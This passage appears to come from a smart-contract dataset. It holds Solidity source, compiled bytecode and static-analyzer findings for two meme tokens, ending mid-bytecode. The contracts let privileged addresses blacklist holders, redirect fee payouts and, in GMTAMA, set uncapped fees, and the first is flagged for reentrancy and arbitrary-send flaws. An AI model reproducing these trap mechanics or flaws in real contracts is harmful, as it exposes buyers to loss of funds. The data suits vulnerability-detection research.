require(_msgSender() == _FeeCollectionADD);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external onlyOwner() {
require(buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _FeeCollectionADD);
_FeeCollectionADD = payable(newAddress);
emit TaxAddUpdated(_FeeCollectionADD);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeCollectionADD);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101dc5760003560e01c80635996c6b011610102578063a9059cbb11610095578063c3c8cd8011610064578063c3c8cd8014610579578063db92dbb61461058e578063dcb0e0ad146105a3578063dd62ed3e146105c357600080fd5b8063a9059cbb14610504578063b2289c6214610524578063b515566a14610544578063b60e16af1461056457600080fd5b806373f54a11116100d157806373f54a11146104725780638da5cb5b1461049257806394b8d8f2146104b057806395d89b41146104d057600080fd5b80635996c6b0146104135780636fc3eaec1461042857806370a082311461043d578063715018a61461045d57600080fd5b8063313ce5671161017a57806340b9a54b1161014957806340b9a54b1461038f57806345596e2e146103a557806349bd5a5e146103c5578063590f897e146103fd57600080fd5b8063313ce567146102f957806331c2d8471461032057806332d873d8146103405780633bbac5791461035657600080fd5b806318160ddd116101b657806318160ddd146102895780631940d020146102ae57806323b872dd146102c457806327f3a72a146102e457600080fd5b806306fdde03146101e8578063095ea7b3146102375780630b78f9c01461026757600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b506102216040518060400160405280600d81526020016c54696e79204c65766920496e7560981b81525081565b60405161022e9190611792565b60405180910390f35b34801561024357600080fd5b5061025761025236600461180c565b610609565b604051901515815260200161022e565b34801561027357600080fd5b50610287610282366004611838565b61061f565b005b34801561029557600080fd5b50670de0b6b3a76400005b60405190815260200161022e565b3480156102ba57600080fd5b506102a0600c5481565b3480156102d057600080fd5b506102576102df36600461185a565b6106b4565b3480156102f057600080fd5b506102a0610708565b34801561030557600080fd5b5061030e600981565b60405160ff909116815260200161022e565b34801561032c57600080fd5b5061028761033b3660046118b1565b610718565b34801561034c57600080fd5b506102a0600d5481565b34801561036257600080fd5b50610257610371366004611976565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561039b57600080fd5b506102a060095481565b3480156103b157600080fd5b506102876103c0366004611993565b6107a4565b3480156103d157600080fd5b506008546103e5906001600160a01b031681565b6040516001600160a01b03909116815260200161022e565b34801561040957600080fd5b506102a0600a5481565b34801561041f57600080fd5b5061028761086a565b34801561043457600080fd5b50610287610a6f565b34801561044957600080fd5b506102a0610458366004611976565b610a7c565b34801561046957600080fd5b50610287610a97565b34801561047e57600080fd5b5061028761048d366004611976565b610b0b565b34801561049e57600080fd5b506000546001600160a01b03166103e5565b3480156104bc57600080fd5b50600e546102579062010000900460ff1681565b3480156104dc57600080fd5b506102216040518060400160405280600881526020016754494e594c45564960c01b81525081565b34801561051057600080fd5b5061025761051f36600461180c565b610b79565b34801561053057600080fd5b506007546103e5906001600160a01b031681565b34801561055057600080fd5b5061028761055f3660046118b1565b610b86565b34801561057057600080fd5b50610287610c9f565b34801561058557600080fd5b50610287610e91565b34801561059a57600080fd5b506102a0610ea7565b3480156105af57600080fd5b506102876105be3660046119ba565b610ebf565b3480156105cf57600080fd5b506102a06105de3660046119d7565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6000610616338484610f3c565b50600192915050565b6000546001600160a01b031633146106525760405162461bcd60e51b815260040161064990611a10565b60405180910390fd5b600954821080156106645750600a5481105b61066d57600080fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106c1848484611060565b6001600160a01b03841660009081526003602090815260408083203384529091528120546106f0908490611a5b565b90506106fd853383610f3c565b506001949350505050565b600061071330610a7c565b905090565b6007546001600160a01b0316336001600160a01b03161461073857600080fd5b60005b81518110156107a05760006005600084848151811061075c5761075c611a72565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061079881611a88565b91505061073b565b5050565b6000546001600160a01b031633146107ce5760405162461bcd60e51b815260040161064990611a10565b6007546001600160a01b0316336001600160a01b0316146107ee57600080fd5b6000811161082e5760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b6044820152606401610649565b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b031633146108945760405162461bcd60e51b815260040161064990611a10565b600e5460ff16156108e15760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610649565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610946573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096a9190611aa3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109db9190611aa3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4c9190611aa3565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b47610a798161142f565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610ac15760405162461bcd60e51b815260040161064990611a10565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b031614610b2b57600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d69060200161085f565b6000610616338484611060565b6000546001600160a01b03163314610bb05760405162461bcd60e51b815260040161064990611a10565b60005b81518110156107a05760085482516001600160a01b0390911690839083908110610bdf57610bdf611a72565b60200260200101516001600160a01b031614158015610c30575060065482516001600160a01b0390911690839083908110610c1c57610c1c611a72565b60200260200101516001600160a01b031614155b15610c8d57600160056000848481518110610c4d57610c4d611a72565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c9781611a88565b915050610bb3565b6000546001600160a01b03163314610cc95760405162461bcd60e51b815260040161064990611a10565b600e5460ff1615610d165760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610649565b600654610d369030906001600160a01b0316670de0b6b3a7640000610f3c565b6006546001600160a01b031663f305d7194730610d5281610a7c565b600080610d676000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610dcf573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610df49190611ac0565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e719190611aee565b50600e805460ff1916600117905542600d556702c68af0bb140000600c55565b6000610e9c30610a7c565b9050610a7981611469565b600854600090610713906001600160a01b0316610a7c565b6000546001600160a01b03163314610ee95760405162461bcd60e51b815260040161064990611a10565b600e805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161085f565b6001600160a01b038316610f9e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610649565b6001600160a01b038216610fff5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610649565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161561108657600080fd5b6001600160a01b0383166110ea5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610649565b6001600160a01b03821661114c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610649565b600081116111ae5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610649565b600080546001600160a01b038581169116148015906111db57506000546001600160a01b03848116911614155b156113d0576008546001600160a01b03858116911614801561120b57506006546001600160a01b03848116911614155b801561123057506001600160a01b03831660009081526004602052604090205460ff16155b156112c357600e5460ff166112875760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610649565b42600d5461012c6112989190611b0b565b11156112bf57600c546112aa84610a7c565b6112b49084611b0b565b11156112bf57600080fd5b5060015b600e54610100900460ff161580156112dd5750600e5460ff165b80156112f757506008546001600160a01b03858116911614155b156113d057600061130730610a7c565b905080156113b957600e5462010000900460ff161561138a57600b546008546064919061133c906001600160a01b0316610a7c565b6113469190611b23565b6113509190611b42565b81111561138a57600b5460085460649190611373906001600160a01b0316610a7c565b61137d9190611b23565b6113879190611b42565b90505b6000611397600483611b42565b90506113a38183611a5b565b91506113ae816115dd565b6113b782611469565b505b4780156113c9576113c94761142f565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061141257506001600160a01b03841660009081526004602052604090205460ff165b1561141b575060005b611428858585848661160d565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107a0573d6000803e3d6000fd5b600e805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114ad576114ad611a72565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611506573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061152a9190611aa3565b8160018151811061153d5761153d611a72565b6001600160a01b0392831660209182029290920101526006546115639130911684610f3c565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac9479061159c908590600090869030904290600401611b64565b600060405180830381600087803b1580156115b657600080fd5b505af11580156115ca573d6000803e3d6000fd5b5050600e805461ff001916905550505050565b600e805461ff00191661010017905580156115ff576115ff3061dead83611060565b50600e805461ff0019169055565b6000611619838361162f565b905061162786868684611653565b505050505050565b600080831561164c578215611647575060095461164c565b50600a545b9392505050565b6000806116608484611730565b6001600160a01b0388166000908152600260205260409020549193509150611689908590611a5b565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546116b9908390611b0b565b6001600160a01b0386166000908152600260205260409020556116db81611764565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161172091815260200190565b60405180910390a3505050505050565b6000808060646117408587611b23565b61174a9190611b42565b905060006117588287611a5b565b96919550909350505050565b3060009081526002602052604090205461177f908290611b0b565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156117bf578581018301518582016040015282016117a3565b818111156117d1576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a7957600080fd5b8035611807816117e7565b919050565b6000806040838503121561181f57600080fd5b823561182a816117e7565b946020939093013593505050565b6000806040838503121561184b57600080fd5b50508035926020909101359150565b60008060006060848603121561186f57600080fd5b833561187a816117e7565b9250602084013561188a816117e7565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156118c457600080fd5b823567ffffffffffffffff808211156118dc57600080fd5b818501915085601f8301126118f057600080fd5b8135818111156119025761190261189b565b8060051b604051601f19603f830116810181811085821117156119275761192761189b565b60405291825284820192508381018501918883111561194557600080fd5b938501935b8285101561196a5761195b856117fc565b8452938501939285019261194a565b98975050505050505050565b60006020828403121561198857600080fd5b813561164c816117e7565b6000602082840312156119a557600080fd5b5035919050565b8015158114610a7957600080fd5b6000602082840312156119cc57600080fd5b813561164c816119ac565b600080604083850312156119ea57600080fd5b82356119f5816117e7565b91506020830135611a05816117e7565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015611a6d57611a6d611a45565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611a9c57611a9c611a45565b5060010190565b600060208284031215611ab557600080fd5b815161164c816117e7565b600080600060608486031215611ad557600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b0057600080fd5b815161164c816119ac565b60008219821115611b1e57611b1e611a45565b500190565b6000816000190483118215151615611b3d57611b3d611a45565b500290565b600082611b5f57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bb45784516001600160a01b031683529383019391830191600101611b8f565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212207092956a5fa6100d15de87981f380e4a98f055ca8f227d02b5d043830b100c0b64736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,040 |
0x612d41c1a02f1cd1788af4456f03658c488d84c1
|
/**
*Submitted for verification at Etherscan.io on 2022-02-05
*/
/*
Welcome and GM TAMA
https://t.me/GMTAMA
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract GMTAMA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "GMTAMA";
string private constant _symbol = "GMTAMA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 8;
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 9;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xbCC8f1b1328d4982C0a665dfac49Dc949F2b588C);
address payable private _marketingAddress = payable(0xbCC8f1b1328d4982C0a665dfac49Dc949F2b588C);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000000 * 10**9;
uint256 public _maxWalletSize = 250000000 * 10**9;
uint256 public _swapTokensAtAmount = 100000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function swap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setmaxTx(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80638da5cb5b116100f7578063b0c2b56111610095578063dd62ed3e11610064578063dd62ed3e14610521578063ea1644d514610567578063f2fde38b14610587578063fc342279146105a757600080fd5b8063b0c2b5611461049c578063bfd79284146104bc578063c3c8cd80146104ec578063c492f0461461050157600080fd5b806395d89b41116100d157806395d89b41146101fe57806398a5c3151461043c578063a2a957bb1461045c578063a9059cbb1461047c57600080fd5b80638da5cb5b146103e85780638f70ccf7146104065780638f9a55c01461042657600080fd5b8063313ce5671161016f57806370a082311161013e57806370a0823114610370578063715018a6146103905780637d1db4a5146103a55780637f2feddc146103bb57600080fd5b8063313ce567146102ff57806349bd5a5e1461031b5780636b9990531461033b5780636fc3eaec1461035b57600080fd5b80631694505e116101ab5780631694505e1461026c57806318160ddd146102a457806323b872dd146102c95780632fd689e3146102e957600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023c57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192b565b6105c7565b005b34801561020a57600080fd5b506040805180820182526006815265474d54414d4160d01b6020820152905161023391906119f0565b60405180910390f35b34801561024857600080fd5b5061025c610257366004611a45565b610666565b6040519015158152602001610233565b34801561027857600080fd5b5060145461028c906001600160a01b031681565b6040516001600160a01b039091168152602001610233565b3480156102b057600080fd5b50678ac7230489e800005b604051908152602001610233565b3480156102d557600080fd5b5061025c6102e4366004611a71565b61067d565b3480156102f557600080fd5b506102bb60185481565b34801561030b57600080fd5b5060405160098152602001610233565b34801561032757600080fd5b5060155461028c906001600160a01b031681565b34801561034757600080fd5b506101fc610356366004611ab2565b6106e6565b34801561036757600080fd5b506101fc610731565b34801561037c57600080fd5b506102bb61038b366004611ab2565b61077c565b34801561039c57600080fd5b506101fc61079e565b3480156103b157600080fd5b506102bb60165481565b3480156103c757600080fd5b506102bb6103d6366004611ab2565b60116020526000908152604090205481565b3480156103f457600080fd5b506000546001600160a01b031661028c565b34801561041257600080fd5b506101fc610421366004611adf565b610812565b34801561043257600080fd5b506102bb60175481565b34801561044857600080fd5b506101fc610457366004611afa565b61085a565b34801561046857600080fd5b506101fc610477366004611b13565b610889565b34801561048857600080fd5b5061025c610497366004611a45565b6108c7565b3480156104a857600080fd5b506101fc6104b7366004611afa565b6108d4565b3480156104c857600080fd5b5061025c6104d7366004611ab2565b60106020526000908152604090205460ff1681565b3480156104f857600080fd5b506101fc610903565b34801561050d57600080fd5b506101fc61051c366004611b45565b610957565b34801561052d57600080fd5b506102bb61053c366004611bc9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561057357600080fd5b506101fc610582366004611afa565b6109f8565b34801561059357600080fd5b506101fc6105a2366004611ab2565b610a27565b3480156105b357600080fd5b506101fc6105c2366004611adf565b610b11565b6000546001600160a01b031633146105fa5760405162461bcd60e51b81526004016105f190611c02565b60405180910390fd5b60005b81518110156106625760016010600084848151811061061e5761061e611c37565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065a81611c63565b9150506105fd565b5050565b6000610673338484610b59565b5060015b92915050565b600061068a848484610c7d565b6106dc84336106d78560